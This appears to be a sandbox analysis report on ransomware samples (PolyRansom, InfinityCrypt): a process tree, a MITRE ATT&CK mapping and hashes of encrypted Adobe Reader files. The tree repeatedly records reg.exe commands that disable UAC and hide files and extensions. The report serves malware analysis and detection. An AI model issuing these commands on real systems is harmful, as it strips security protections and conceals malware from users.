reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
31⤵
PID:4064

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
31⤵
PID:6096

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\nucsYssU.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
31⤵
PID:5732

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
32⤵
PID:5036

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
29⤵
- Modifies visibility of file extensions in Explorer
PID:436

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
29⤵
PID:1524

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
29⤵
- UAC bypass
PID:3200

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\PcMcEMkc.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
29⤵
PID:3564

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
30⤵
PID:3428

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
27⤵
PID:1512

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
27⤵
PID:3848

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
27⤵
- Modifies registry key
PID:4068

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\qOUwkQUA.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
27⤵
PID:3436

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
28⤵
PID:1880

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
25⤵
PID:5564

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
25⤵
PID:2940

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
25⤵
PID:5972

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\QSEUEoIE.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
25⤵
PID:1992

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
26⤵
PID:1756

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
23⤵
PID:856

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
23⤵
PID:5980

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
23⤵
- UAC bypass
PID:4916

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\cisookQw.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
23⤵
PID:1116

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
24⤵
PID:5628

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
21⤵
PID:3872

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
21⤵
PID:3248

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
21⤵
- UAC bypass
PID:5676

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\xkkssksA.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
21⤵
PID:5616

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
22⤵
PID:2160

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
19⤵
PID:6100

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
19⤵
PID:2412

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
19⤵
PID:5140

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TAcUgcUM.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
19⤵
PID:1368

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
20⤵
PID:5508

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
17⤵
- Modifies visibility of file extensions in Explorer
PID:4332

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
17⤵
PID:5700

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
17⤵
PID:5424

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\fgMsQUsA.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
17⤵
PID:1504

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
18⤵
PID:1940

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
15⤵
- Modifies visibility of file extensions in Explorer
PID:2652

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
15⤵
PID:216

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
15⤵
- UAC bypass
- Modifies registry key
PID:4672

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\nOIcQQUk.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
15⤵
PID:3472

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
16⤵
PID:5852

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
13⤵
- Modifies visibility of file extensions in Explorer
- Modifies registry key
PID:5200

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
13⤵
PID:4872

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
13⤵
PID:1036

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\scwwgkwA.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
13⤵
PID:5316

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
14⤵
PID:740

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
11⤵
PID:4476

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
11⤵
PID:5772

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
11⤵
PID:5780

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\yUMsQMIg.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
11⤵
PID:3464

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
12⤵
PID:5892

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
9⤵
PID:756

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
9⤵
PID:4272

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
9⤵
- Modifies registry key
PID:3492

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ywAQYQcg.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
9⤵
PID:2676

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
10⤵
PID:1732

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
7⤵
- Modifies visibility of file extensions in Explorer
PID:5640

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
7⤵
PID:2996

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
7⤵
PID:3616

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EuMoksEQ.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
7⤵
PID:5600

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
8⤵
PID:2560

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
5⤵
PID:5480

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
5⤵
PID:2688

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
5⤵
- UAC bypass
PID:3684

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lgIYEEwE.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
5⤵
PID:2524

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
6⤵
PID:944

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
3⤵
- Modifies visibility of file extensions in Explorer
PID:4500

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
3⤵
PID:400

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
3⤵
PID:5352

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\PEsMwswY.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
3⤵
PID:5556

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
4⤵
PID:4416

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5556

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3816

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1348

C:\Users\Admin\Downloads\InfinityCrypt.exe
"C:\Users\Admin\Downloads\InfinityCrypt.exe"
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Checks processor information in registry
PID:3676

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5564

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\icudtl.dat.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
16B

MD5
78da96da2f7ba5e41f25e922192cf635

SHA1
c67b6870694bbc9b3e5fff1b96616ce6cbf3e73e

SHA256
67a266b30c7cf80de40416c824af923a6569fbe6fde6f635a341e0913d42458a

SHA512
52d1ff5574b6821424d910fb8ff5ed3735804fbfdce3e61ab94dc1c70e6e05cdeedd65c59206ac9da19a169ae98bc7e838391f74ebc15e6730e40890a6f00a0e

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_remove_18.svg.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
720B

MD5
c7750ad28dfb35f7825702ecd90d4b55

SHA1
f38e4ecffafebdb651d2b4c4dcb96483d84e9f65

SHA256
66e27d1d49726194112a416ee9510051d5cfa7f6bb7143e4ae6e28a4e9ce0f3a

SHA512
e50c4ecf449f6dd826de2e90cecd7945c96358993f31f3b274865f041d146d7e3be99b8dbd0cf07884641f46134055dc8db8c6ea74d93de236885a888074404f

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\example_icons.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
688B

MD5
7c735c663bb0424ec215e7d1b83c8009

SHA1
9e65be6e85f187a9d235e629bf085b34b59e4481

SHA256
8f4e804a685287b52c495963f9a2323cff2ae0794f4189ce1d844c1a82d9a890

SHA512
7aa80c0df1c99779bb5bebb4a690ad6d908d3da8dcbe5b22900926bb7167e0afd5d55d69caae909f1a381d9e93f71feaa7576cc6d8e751dd89da1620016bcfef

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\example_icons2x.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
1KB

MD5
26efe02fe5fd16fcb15c300d24baccf6

SHA1
384b01ffd03ad4aaf2b7fdf64a4681f600ddaa3d

SHA256
f57f1ab7bcf1f46e28f66a7df84d554db88d7f7ba644f2badbfa9ee88a21d806

SHA512
87cc495545e826432fe05a14f3af2d5edac3d3535d2969d52c1cd7dbf77ba0996723cfdb3e584d970766cbc1aa84feb2f383da3a4c75d9e71c0f37f6ae31f525

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
448B

MD5
ab566ea47d351f90de92191fdd7b001d

SHA1
d46017578ce303d7b65fd9c2c13278d3da5de8cb

SHA256
87fec3675dbe7304fa1674fdcfd0f503280efe3b90f44807fc00eec583a0041a

SHA512
767d293ef59f7122d5a91ff08265fc57934cb8f976146fa5c51fc156179c1d2aaa5c3f7aad06af8881b41f07b01570136ea36e577152e6d35216dd1d2ea1fedd

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_2x.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
624B

MD5
27a1c618e36eca56e9e0fb36b8e69b57

SHA1
e7c3cf33be64b5d2e36477361e199bc8ec0776e4

SHA256
b2a75f5f52b2539ceaf36500a8a7cfb298f1f5c25d7c8bdc1c664cc93890b540

SHA512
f523c2d709d56749e251867feb303ad969ccd4812d365bcdc79b5cd83a6649f6e0ecdacce24a74ba76322ab0cfb8b12e68bf6783a47283b44f5ec6f8507b1dda

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
400B

MD5
04c3222bdb0641a5daea60d6004b955d

SHA1
5cf215fd4661ef6409e0f5a76d60a25b529469a6

SHA256
39e5ade58037373fbc4b7747cf47bf5cca219c941e6ab258c0a30cb847ed78f2

SHA512
c9e01dd5e4386a5ff9a35eb293e39a7eb61d14060c0ae358145eed3d7163b95951d58a73325a0eff1d2e20b9757419b91d9cea19d8b3951d2ad010ee57a27526

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover_2x.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
560B

MD5
8b743380619d447cd3539e991d78c17f

SHA1
4f037d0b022cb639761d8c07f833390426597e5e

SHA256
447b5fb114c3d3aa41262445a0ab54f8a4ca3146b6010253c364bd511b8afbc3

SHA512
6f773ad32d42c2854200f0f3063511392ca542ec1a70a3570ca85e60ba9c33412867ecef8a4b00e7857cebb321d19bf3c6222532c5fcb2dac4c213aefabe92d3

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
400B

MD5
41de5d591f38e2587b4392f0d833ff91

SHA1
daf19e9a524ddf149b29b240e022ab61d42ea7f3

SHA256
15f229bc7911603d4bca5b7dbce1da95e3a7ea57393aff2873975065d6fdc152

SHA512
e0f9d87d960775e9ab49a9fe307cf316f0a2137a0ca0fb904920648c2cd23cbc5654a4f4e10239740dc4376ec924f3626f1200dfb11dc51a44aef15b507cec1e

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
560B

MD5
e3a7df92efed5be9c687e7abec0bc453

SHA1
2c4b20cd0c7f0b30b4c1f9da0043701fba3a143d

SHA256
4d28dfff4b4b636e659a8f1d677590c3aad42d5dad137098f71fc3cb57a75cbc

SHA512
66937c42f8b6e5d248027d0251b77a57808c4f945992873c1314f9f5ad676e0f27d0e0b96d8aaf116f9a2271ae9e10415ceead2875478ba699f03892fa394e72

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
400B

MD5
b3e158ae7273215e2317100fd7dfc640

SHA1
7c9d6fca3b20072dbf64d2c9ad9695fcb3dc41a5

SHA256
50cbccc1130e3650bc3fc91fd8d582d67e7a7251f83c525fff11e0d4652ac6c6

SHA512
81687862cc45379c01b1dbe2ae3dfe346727ca45dbc66ee04b5e0027b479cbcb89f3e123a511bb4780cf95cfa26d12188b4a31cdea4de741e7fdc95e69710b21

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
560B

MD5
138014da9fbf63af7e4402e87b92904f

SHA1
03339d1607f06e09b1561a4709da2a3d99b37524

SHA256
d8216135ddd4aacd7b5b461c8e4bc601f010b9bfb9ea7c098f6dc24a7e64d2d3

SHA512
f67e59bcd2b2f3940331acf6505e92d10fd3bed30df43fffa9f986d55ef321a65eb7b5ebd9721cd5c5f7003687da262b0bceb2f04624c630f8c3153c78230b4b

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
7KB

MD5
bca17179838efba5e76190a7211a49cf

SHA1
534e06b2903bcccdbe0687eb3dfed951724745eb

SHA256
1e3f997fa1c99b9d264c54acf02103732ff51da977f34899800d35bc0b78c8bb

SHA512
7fd4c6ec956b60be6180d2d197b577d5a4ef2f05d082ef3f2487c2807f77c66f36cf0b8e1091e3826c88b29b9d013d312a868d9987c047776fafe7ec5126762e

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons_ie8.gif.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
7KB

MD5
cd13a300a89b0409fcc9ec82c33b8e35

SHA1
98b5bb8bc426b96b26b8863170c576ff823269cd

SHA256
23093fff2f91210e8a2020f2bc192d460dfa578a7b1e13d0a295cf5197d3dbd7

SHA512
974f955c4b553dd9729a17b97cf3e42759f94b238e99e12d5656838ee463bf45b7cbf7fd4853e8e616a68f8b2053561ad6677988372d267054404a14e4e76a74

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons_retina.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
15KB

MD5
761392f0cbd6542d23881cf06caa61dc

SHA1
2278a22f16f9ea9d083df51bb7035faa2f357ef1

SHA256
2e94f64fc64d2fc086e4f04ebbb888cd39cc8b3953f426e3b7cb538c07c4d1e5

SHA512
9709af28ee7b471cb2cfd0fb918ea6e99f5e77592d9c8cc67b70624071e5eeeafff3b644a7db6812379c0974e8d4305043a86242237cf00e884325d4a2a6bd86

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\new_icons.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
8KB

MD5
c19efd17fc0f15d613066715d05e3a0c

SHA1
c76ef49c971f8bd250877457fc177a35890bb0ac

SHA256
2219cb25f54052a761be43c016dfd8148f585b2fb64dadaa7ed9ea84b8c447d9

SHA512
8e2c0114738b78fcc6225d4c41bb2c3df4a5d2c64a557684b2c090604705060f1b143fdbbfa55cc6ab99f261e62b26f5b766cff3d2f229fc93841280cfcec937

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\new_icons_retina.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
17KB

MD5
9455319fa30479aee6a55ca6805f01e9

SHA1
67eeb0aedc4ffeab01d0030d966c1869fd1e04a3

SHA256
122d27dd8cb28e97bfbe9c94515a304c59d3aa3791cdbf00a8e40ca8cf6e25c1

SHA512
939af79123147a11e39e6317b42c5c99d90b7b394510cab904a8d53997895fc7068577462c74e53528498d042c8244b8879d33c774e852dcb3b1f11cd260c1e6

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\bg_pattern_RHP.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
192B

MD5
74d5002dd901240c795878a4fa20253a

SHA1
d152d6fe8a76b40b8da10c79c0eb1f7dd848834e

SHA256
ace38e255a85551032ccc6a16254900c4229d8b1cc34b9b3576a2f2abf2fc7c1

SHA512
94d249a60179b11ef4af9540b8aa0a21b7fdd73b0e7c6c2bf71be9e370761d16237b322c861f2ba8696932609bfd3ffb4dcfea2e981c911d1bfb4d526c2e580b

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\bg_patterns_header.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
704B

MD5
a4252fc085703f84b4d1370e0eb414cf

SHA1
52818ee5380d6287e57014974fc3dc517221c4c3

SHA256
5761cffb9fcd6fe3a318eb9ceabfc202f51b69da005940f93849ac2914bd0efa

SHA512
1a1a5447ac690a4a45f75c322cde2c38581dc4088783dfdc9d8bfc92d618349960dff258f3331e20af3fb84b01f1f5977d9d43549607abbbe4fe57b77b752b5d

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\illustrations.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
8KB

MD5
f31e5d60dd19189ad3ce990a9ed2e9d0

SHA1
ee34919ef91f1329c8c1762e2874045e7d1e8788

SHA256
055f887b25d8b7409ec33da40d72f393d09a55821b6177ae41d8975534692f14

SHA512
54ad3801fec8c6f10d6a3a0fef18f1585cc18833db5a4e0981af178d83f399b8096afd4e53fab51b00cbf00bf9ec7278a9f3e9097e655662eeef25c0fddcbc16

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\illustrations_retina.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
19KB

MD5
b171eab76870e5323168c2071d5de9dd

SHA1
49a2e56c2cd4556a312b6d2b0995e588a779ad05

SHA256
2a3b980cc8d7d318f9a30fc527ef87c65e81f92e2f675f01feacdad06921755a

SHA512
e921c7fcef08697eccec71202f32f2b544723abaeaecff70dfc011102fa6d5e3bdc9b453dfc301a37a0300d2e994a2dc22bc784f42706661b0d2f53116c22764

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-gb\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4
Filesize
832B

MD5
e8809c3b9938801052ba49baa4e95a2a

SHA1
4c6725b107e5c3654fe89009b2bb7057cf17519a

SHA256
01420503ebafbd0fba087f6f13ab68a60365ad06f45c7d5d263968cf465c7cae

SHA512
cdb58abf02a1afc622b371e28b264a793dfb6b23eac042de08c5490e4ae700e708adadf5cd81e316aa73650211eb10a54c62a7f7bd32e3854cfe880b28b4a870

Download Submit
